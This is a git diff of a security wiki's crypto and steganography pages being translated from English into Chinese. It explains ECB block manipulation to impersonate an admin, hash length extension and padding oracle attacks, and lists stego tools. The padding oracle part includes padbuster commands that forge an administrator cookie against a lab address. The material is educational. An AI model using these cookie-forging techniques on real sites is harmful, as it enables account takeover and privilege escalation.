- -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## 移除整个块 +知道 cookie 的格式(`|`),为了冒充用户名 `admin`,创建一个名为 `aaaaaaaaadmin` 的新用户并获取 cookie 并解码它: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +我们可以看到之前用仅包含 `a` 的用户名创建的模式 `\x23U\xE45K\xCB\x21\xC8`。\ +然后,您可以删除第一个 8B 块,您将获得一个有效的用户名 `admin` 的 cookie: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## 移动块 -## Moving blocks +在许多数据库中,搜索 `WHERE username='admin';` 或 `WHERE username='admin ';` 是一样的 _(注意额外的空格)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +因此,冒充用户 `admin` 的另一种方法是: -So, another way to impersonate the user `admin` would be to: +- 生成一个用户名:`len() + len(` 将生成 2 个 8B 的块。 +- 然后,生成一个密码,填充包含我们想要冒充的用户名和空格的确切块数,例如:`admin ` -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +该用户的 cookie 将由 3 个块组成:前 2 个是用户名 + 分隔符的块,第三个是密码(伪装成用户名):`username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**然后,只需用最后一个块替换第一个块,就可以冒充用户 `admin`:`admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## 参考 - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 2faf6564f..05c2aadbe 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -1,18 +1,16 @@ -# Esoteric languages +# 神秘语言 {{#include ../banners/hacktricks-training.md}} ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -Check that wiki to search more esotreic languages +查看该维基以搜索更多神秘语言 ## Malbolge - ``` ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= ``` - [http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) ## npiet @@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) ## Rockstar - ``` Midnight takes your heart and your soul While your heart is as high as your soul @@ -51,11 +48,9 @@ Take it to the top Whisper my world ``` - {% embed url="https://codewithrockstar.com/" %} ## PETOOH - ``` KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah @@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO Kukarek ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 51a38df3f..4c274ae84 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -2,37 +2,37 @@ {{#include ../banners/hacktricks-training.md}} -## Summary of the attack +## 攻击概述 -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +想象一个服务器,它通过将一个**秘密**附加到一些已知的明文数据上并对该数据进行**签名**。如果你知道: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **秘密的长度**(这也可以从给定的长度范围进行暴力破解) +- **明文数据** +- **算法(并且它对这种攻击是脆弱的)** +- **填充是已知的** +- 通常使用默认填充,因此如果满足其他三个要求,这也是 +- 填充根据秘密+数据的长度而变化,这就是为什么需要知道秘密的长度 -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +那么,**攻击者**可以**附加****数据**并为**之前的数据 + 附加的数据**生成一个有效的**签名**。 -### How? +### 如何? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +基本上,脆弱的算法首先通过**哈希一个数据块**来生成哈希,然后,从**之前**创建的**哈希**(状态)中,他们**添加下一个数据块**并**对其进行哈希**。 -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +然后,想象秘密是“secret”,数据是“data”,"secretdata"的MD5是6036708eba0d11f6ef52ad44e8b74d5b。\ +如果攻击者想要附加字符串“append”,他可以: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- 生成64个“A”的MD5 +- 将之前初始化的哈希状态更改为6036708eba0d11f6ef52ad44e8b74d5b +- 附加字符串“append” +- 完成哈希,结果哈希将是“secret” + “data” + “padding” + “append”的**有效哈希** -### **Tool** +### **工具** {% embed url="https://github.com/iagox86/hash_extender" %} -### References +### 参考 -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对此攻击的详细解释。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/padding-oracle-priv.md b/src/crypto-and-stego/padding-oracle-priv.md index 96d3145a3..51ec03066 100644 --- a/src/crypto-and-stego/padding-oracle-priv.md +++ b/src/crypto-and-stego/padding-oracle-priv.md @@ -2,26 +2,24 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} +## CBC - 密码块链接 -## CBC - Cipher Block Chaining - -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +在 CBC 模式下,**前一个加密块用作 IV**,与下一个块进行异或操作: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +要解密 CBC,需进行**相反的** **操作**: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +注意需要使用**加密** **密钥**和**IV**。 -## Message Padding +## 消息填充 -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +由于加密是在**固定** **大小** **块**中进行的,通常需要在**最后** **块**中进行**填充**以完成其长度。\ +通常使用**PKCS7**,它生成的填充**重复**所需的**字节** **数**以**完成**块。例如,如果最后一个块缺少 3 个字节,填充将是 `\x03\x03\x03`。 -Let's look at more examples with a **2 blocks of length 8bytes**: +让我们看更多的例子,使用**2 个长度为 8 字节的块**: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +注意在最后一个例子中,**最后一个块是满的,因此只生成了一个填充块**。 -## Padding Oracle +## 填充 Oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +当应用程序解密加密数据时,它将首先解密数据;然后将移除填充。在清理填充的过程中,如果**无效填充触发可检测的行为**,则存在**填充 oracle 漏洞**。可检测的行为可以是**错误**、**缺少结果**或**响应变慢**。 -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +如果您检测到这种行为,您可以**解密加密数据**,甚至**加密任何明文**。 -### How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +### 如何利用 +您可以使用 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) 来利用这种漏洞,或者直接进行 ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +为了测试一个网站的cookie是否存在漏洞,你可以尝试: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**编码 0** 意味着使用 **base64**(但还有其他可用的编码,请查看帮助菜单)。 -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +您还可以 **利用此漏洞加密新数据。例如,假设 cookie 的内容是 "**_**user=MyUsername**_**",那么您可以将其更改为 "\_user=administrator\_",并在应用程序中提升权限。您还可以使用 `paduster` 指定 -plaintext** 参数来实现这一点: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +如果网站存在漏洞,`padbuster`将自动尝试查找何时发生填充错误,但您也可以使用**-error**参数指示错误消息。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +### 理论 -### The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +**总结**来说,您可以通过猜测可以用于创建所有**不同填充**的正确值来开始解密加密数据。然后,填充oracle攻击将从末尾到开头解密字节,猜测哪个将是**创建1、2、3等填充的正确值**。 ![](<../images/image (561).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +想象一下,您有一些加密文本,占据由**E0到E15**的**2个块**。\ +为了**解密**最后一个**块**(**E8**到**E15**),整个块通过“块密码解密”,生成**中间字节I0到I15**。\ +最后,每个中间字节与之前的加密字节(E0到E7)进行**异或**运算。因此: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +现在,可以**修改`E7`直到`C15`为`0x01`**,这也将是一个正确的填充。因此,在这种情况下:`\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +因此,找到E'7后,可以**计算I15**:`I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +这使我们能够**计算C15**:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +知道**C15**后,现在可以**计算C14**,但这次是通过暴力破解填充`\x02\x02`。 -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +这个暴力破解与之前的复杂度相同,因为可以计算出值为0x02的`E''15`:`E''7 = \x02 ^ I15`,因此只需找到生成**`C14`等于`0x02`的**`E'14`。\ +然后,执行相同的步骤来解密C14:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**按照这个链条,直到您解密整个加密文本。** -### Detection of the vulnerability +### 漏洞检测 -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +注册并使用该账户登录。\ +如果您**多次登录**并始终获得**相同的cookie**,那么应用程序中可能**存在问题**。每次登录时**返回的cookie应该是唯一的**。如果cookie**始终**相同,它可能始终有效,并且**无法使其失效**。 -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +现在,如果您尝试**修改**该**cookie**,您会看到应用程序返回一个**错误**。\ +但是,如果您暴力破解填充(例如使用padbuster),您可以获得另一个有效的cookie,适用于不同的用户。这个场景很可能对padbuster存在漏洞。 -### References +### 参考 - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index dc89fa296..da841ca5b 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +如果你能以某种方式使用 RC4 加密明文,你可以仅使用加密函数解密任何使用相同密码加密的内容。 -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +如果你能加密已知的明文,你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/crypto-and-stego/stego-tricks.md b/src/crypto-and-stego/stego-tricks.md index 91ed86406..7f4fac01e 100644 --- a/src/crypto-and-stego/stego-tricks.md +++ b/src/crypto-and-stego/stego-tricks.md @@ -2,50 +2,41 @@ {{#include ../banners/hacktricks-training.md}} -## **Extracting Data from Files** +## **从文件中提取数据** ### **Binwalk** -A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk). - +一个用于搜索二进制文件中嵌入的隐藏文件和数据的工具。它通过 `apt` 安装,源代码可在 [GitHub](https://github.com/ReFirmLabs/binwalk) 上获取。 ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data binwalk --dd ".*" file # Extracts all data ``` - ### **Foremost** -Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost). - +根据文件的头部和尾部恢复文件,对 png 图像非常有用。通过 `apt` 安装,源代码在 [GitHub](https://github.com/korczis/foremost) 上。 ```bash foremost -i file # Extracts data ``` - ### **Exiftool** -Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/). - +帮助查看文件元数据,访问 [这里](https://www.sno.phy.queensu.ca/~phil/exiftool/)。 ```bash exiftool file # Shows the metadata ``` - ### **Exiv2** -Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/). - +类似于 exiftool,用于查看元数据。可以通过 `apt` 安装,源代码在 [GitHub](https://github.com/Exiv2/exiv2),并且有一个 [官方网站](http://www.exiv2.org/)。 ```bash exiv2 file # Shows the metadata ``` +### **文件** -### **File** +识别您正在处理的文件类型。 -Identify the type of file you're dealing with. - -### **Strings** - -Extracts readable strings from files, using various encoding settings to filter the output. +### **字符串** +从文件中提取可读字符串,使用各种编码设置来过滤输出。 ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian) strings -e L -n 6 file # 32bit strings (little-endian) strings -e B -n 6 file # 32bit strings (big-endian) ``` +### **比较 (cmp)** -### **Comparison (cmp)** - -Useful for comparing a modified file with its original version found online. - +用于将修改过的文件与在线找到的原始版本进行比较。 ```bash cmp original.jpg stego.jpg -b -l ``` +## **提取文本中的隐藏数据** -## **Extracting Hidden Data in Text** +### **空格中的隐藏数据** -### **Hidden Data in Spaces** +看似空白的空间中的不可见字符可能隐藏着信息。要提取这些数据,请访问 [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)。 -Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). +## **从图像中提取数据** -## **Extracting Data from Images** - -### **Identifying Image Details with GraphicMagick** - -[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image: +### **使用 GraphicMagick 识别图像细节** +[GraphicMagick](https://imagemagick.org/script/download.php) 用于确定图像文件类型并识别潜在的损坏。执行以下命令以检查图像: ```bash ./magick identify -verbose stego.jpg ``` - -To attempt repair on a damaged image, adding a metadata comment might help: - +要尝试修复损坏的图像,添加元数据注释可能会有所帮助: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` +### **Steghide用于数据隐藏** -### **Steghide for Data Concealment** +Steghide 方便地在 `JPEG, BMP, WAV, 和 AU` 文件中隐藏数据,能够嵌入和提取加密数据。使用 `apt` 安装非常简单,其 [源代码可在 GitHub 上获取](https://github.com/StefanoDeVuono/steghide)。 -Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide). +**命令:** -**Commands:** +- `steghide info file` 显示文件是否包含隐藏数据。 +- `steghide extract -sf file [--passphrase password]` 提取隐藏数据,密码可选。 -- `steghide info file` reveals if a file contains hidden data. -- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional. +要进行基于网页的提取,请访问 [此网站](https://futureboy.us/stegano/decinput.html)。 -For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html). - -**Bruteforce Attack with Stegcracker:** - -- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows: +**使用 Stegcracker 进行暴力破解攻击:** +- 要尝试对 Steghide 进行密码破解,请使用 [stegcracker](https://github.com/Paradoxis/StegCracker.git) 如下: ```bash stegcracker [] ``` +### **zsteg用于PNG和BMP文件** -### **zsteg for PNG and BMP Files** +zsteg专注于揭示PNG和BMP文件中的隐藏数据。安装通过`gem install zsteg`完成,其[源代码在GitHub上](https://github.com/zed-0xff/zsteg)。 -zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg). +**命令:** -**Commands:** +- `zsteg -a file`对文件应用所有检测方法。 +- `zsteg -E file`指定用于数据提取的有效载荷。 -- `zsteg -a file` applies all detection methods on a file. -- `zsteg -E file` specifies a payload for data extraction. +### **StegoVeritas和Stegsolve** -### **StegoVeritas and Stegsolve** +**stegoVeritas**检查元数据,执行图像转换,并应用LSB暴力破解等功能。使用`stegoveritas.py -h`获取完整选项列表,使用`stegoveritas.py stego.jpg`执行所有检查。 -**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks. +**Stegsolve**应用各种颜色滤镜以揭示图像中的隐藏文本或消息。它可在[GitHub上](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)获取。 -**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). +### **FFT用于隐藏内容检测** -### **FFT for Hidden Content Detection** +快速傅里叶变换(FFT)技术可以揭示图像中的隐蔽内容。实用资源包括: -Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include: - -- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) +- [EPFL演示](http://bigwww.epfl.ch/demo/ip/demos/FFT/) - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) -- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic) +- [GitHub上的FFTStegPic](https://github.com/0xcomposure/FFTStegPic) -### **Stegpy for Audio and Image Files** +### **Stegpy用于音频和图像文件** -Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy). +Stegpy允许将信息嵌入图像和音频文件,支持PNG、BMP、GIF、WebP和WAV等格式。它可在[GitHub上](https://github.com/dhsdshdhk/stegpy)获取。 -### **Pngcheck for PNG File Analysis** - -To analyze PNG files or to validate their authenticity, use: +### **Pngcheck用于PNG文件分析** +要分析PNG文件或验证其真实性,请使用: ```bash apt-get install pngcheck pngcheck stego.png ``` +### **图像分析的附加工具** -### **Additional Tools for Image Analysis** - -For further exploration, consider visiting: +要进一步探索,请考虑访问: - [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) - [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) @@ -153,66 +133,60 @@ For further exploration, consider visiting: - [OpenStego](https://www.openstego.com/) - [DIIT](https://diit.sourceforge.net/) -## **Extracting Data from Audios** +## **从音频中提取数据** -**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content. +**音频隐写术**提供了一种独特的方法,将信息隐藏在声音文件中。使用不同的工具来嵌入或检索隐藏的内容。 ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide). +Steghide是一个多功能工具,旨在将数据隐藏在JPEG、BMP、WAV和AU文件中。详细说明请参见[stego tricks documentation](stego-tricks.md#steghide)。 ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). +该工具兼容多种格式,包括PNG、BMP、GIF、WebP和WAV。有关更多信息,请参阅[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)。 ### **ffmpeg** -ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies. - +ffmpeg对于评估音频文件的完整性至关重要,突出详细信息并指出任何差异。 ```bash ffmpeg -v info -i stego.mp3 -f null - ``` - ### **WavSteg (WAV)** -WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include: - +WavSteg 擅长使用最低有效位策略在 WAV 文件中隐藏和提取数据。它可以在 [GitHub](https://github.com/ragibson/Steganography#WavSteg) 上获取。命令包括: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` - ### **Deepsound** -Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx). +Deepsound 允许使用 AES-256 对声音文件中的信息进行加密和检测。可以从 [the official page](http://jpinsoft.net/deepsound/download.aspx) 下载。 ### **Sonic Visualizer** -An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more. +Sonic Visualizer 是一个用于音频文件的视觉和分析检查的宝贵工具,可以揭示其他方法无法检测到的隐藏元素。访问 [official website](https://www.sonicvisualiser.org/) 了解更多信息。 ### **DTMF Tones - Dial Tones** -Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html). +通过在线工具可以检测音频文件中的 DTMF 音调,例如 [this DTMF detector](https://unframework.github.io/dtmf-detect/) 和 [DialABC](http://dialabc.com/sound/detect/index.html)。 ## **Other Techniques** ### **Binary Length SQRT - QR Code** -Binary data that squares to a whole number might represent a QR code. Use this snippet to check: - +平方为整数的二进制数据可能表示 QR 码。使用此代码片段进行检查: ```python import math math.sqrt(2500) #50 ``` +对于二进制到图像的转换,请查看 [dcode](https://www.dcode.fr/binary-image)。要读取二维码,请使用 [this online barcode reader](https://online-barcode-reader.inliteresearch.com/)。 -For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). +### **盲文翻译** -### **Braille Translation** +对于盲文翻译,[Branah Braille Translator](https://www.branah.com/braille-translator) 是一个很好的资源。 -For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource. - -## **References** +## **参考文献** - [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) - [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md index 622b48c61..b94a5576d 100644 --- a/src/cryptography/certificates.md +++ b/src/cryptography/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# 证书 {{#include ../banners/hacktricks-training.md}} -
+## 什么是证书 -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +**公钥证书**是用于加密的数字身份,用于证明某人拥有公钥。它包括密钥的详细信息、所有者的身份(主题)以及来自受信任机构(发行者)的数字签名。如果软件信任发行者并且签名有效,则可以与密钥的所有者进行安全通信。 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +证书主要由[证书颁发机构](https://en.wikipedia.org/wiki/Certificate_authority)(CAs)在[公钥基础设施](https://en.wikipedia.org/wiki/Public-key_infrastructure)(PKI)设置中颁发。另一种方法是[信任网络](https://en.wikipedia.org/wiki/Web_of_trust),用户直接验证彼此的密钥。证书的常见格式是[X.509](https://en.wikipedia.org/wiki/X.509),可以根据RFC 5280中概述的特定需求进行调整。 -## What is a Certificate +## x509 常见字段 -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **x509证书中的常见字段** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +在x509证书中,几个**字段**在确保证书的有效性和安全性方面发挥着关键作用。以下是这些字段的详细说明: -## x509 Common Fields +- **版本号**表示x509格式的版本。 +- **序列号**在证书颁发机构(CA)系统中唯一标识证书,主要用于撤销跟踪。 +- **主题**字段表示证书的所有者,可以是机器、个人或组织。它包括详细的身份识别,例如: +- **通用名称 (CN)**:证书覆盖的域。 +- **国家 (C)**、**地方 (L)**、**州或省 (ST, S, 或 P)**、**组织 (O)** 和 **组织单位 (OU)** 提供地理和组织的详细信息。 +- **区分名称 (DN)** 概括了完整的主题识别。 +- **发行者**详细说明了谁验证并签署了证书,包括与主题类似的子字段。 +- **有效期**由**生效时间**和**失效时间**时间戳标记,确保证书在某个日期之前或之后不被使用。 +- **公钥**部分对证书的安全性至关重要,指定公钥的算法、大小和其他技术细节。 +- **x509v3扩展**增强了证书的功能,指定**密钥使用**、**扩展密钥使用**、**主题备用名称**和其他属性,以微调证书的应用。 -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a 